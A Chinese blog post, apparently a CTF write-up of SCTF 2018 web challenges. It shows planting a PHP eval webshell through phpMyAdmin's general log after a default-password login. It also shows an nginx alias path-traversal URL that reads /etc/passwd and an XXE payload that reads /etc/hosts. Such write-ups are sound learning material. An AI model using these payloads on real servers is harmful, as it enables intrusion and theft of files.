首页 > Web安全 > sctf 2018酱油writeup
2018
06-24

sctf 2018酱油writeup

跟几个小伙伴注册了sctf的比赛,正好有事请假,在家看了看,就完成了一道送分题,拿了个三血。不得不说的是,做过ctf之后,才知道ctf大佬是真的牛逼,现在的ctf套路太深了。

Web第七题,easiest web – phpmyadmin

看了几道其它类型的题目,大多能简单看明白的,搞了一半就不知道如何继续了。然后看到了这道送分题,看到是phpmyadmin,试了root/root,居然成功登录了。不过在做的过程中,发现root密码经常被修改。

登录之后,看是windows服务器,想着用sql语句写shell,前提是需要知道web的物理路径,使用如下url报错获取网站的物理路径。

/phpMyAdmin/index.php?lang[]=1

sctf 2018酱油writeup - 第1张  | 阿德马Web安全

用sql写shell的过程,一直执行不成功,所以试了下phpmyadmin log日志拿webshell,居然成功了。过程如下:

1,登录phpmyadmin 变量 general log设置 改为On  general log file设置网站路径下的文件。如图(没截图,所以用个网上的图):

sctf 2018酱油writeup - 第2张  | 阿德马Web安全

2,执行sql语句

select '<?php @eval($_POST['xxxx']);?>'

成功获取了一句话webshell,用cknife连接之后,在c盘找到了flag,拿了个三血。

之后一直把时间浪费了在了nginx上,虽然知道有nginx配置不当导致的任意文件读取漏洞。看了web日志以及提示,猜测可能需要获取到python源文件,但是一直不知道如何获取。到比赛结束,也没有再进一步。

nginx那道题目基本技术架构是nginx+django+uwsgi,注册登录之后发现有平行越权漏洞,并且有nginx配置不当导致的任意文件读取漏洞,详情如下:

如果静态文件存储在/home/目录下,而该目录在url中名字为files,那么就需要用alias设置目录的别名:
location /files {
    alias /home/;
}
此时,访问http://example.com/files../readme.txt,就可以获取/home/readme.txt文件。
但我们注意到,url上/files没有加后缀/,而alias设置的/home/是有后缀/的,这个/就导致我们可以从/home/目录穿越到他的上层目录。
平行越权漏洞如图:
sctf 2018酱油writeup - 第3张  | 阿德马Web安全

在nginx这道题中,对应的利用url:

http://116.62.137.155:4455/static../etc/passwd

下载了nginx的配置文件,可以看到配置错误如下:

	server {
	    listen 4455 default_server;
	    server_name localhost;

	    location /static {
	        alias /home/;
	    }

	    location ~* \.(css|js|gif|png){
	        proxy_cache             my_cache;
	        proxy_cache_valid       200 30s;
	        proxy_pass              http://bugweb.app:8000;
	        proxy_set_header        Host $host:$server_port;
	        proxy_ignore_headers    Expires Cache-Control Set-Cookie;
	    }

	    location / {
	        limit_conn conn 10;
	        proxy_pass       http://bugweb.app:8000;
	        proxy_set_header Host $host:$server_port;
	    }
	}

	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}

看到平行越权的提示,flag应该对应在write_your_plan这个功能中,在导入导出功能有xxe漏洞,利用也可以读取任意文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc/hosts">]> 
<plans>
    <plan>
        <content>&b;</content>
    </plan>
</plans>

不过直到比赛结束,这道题也没有进一步的进展,只能看看第一名队伍的writeup涨涨姿势了,好像就第一名队伍做出来了这道题。

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。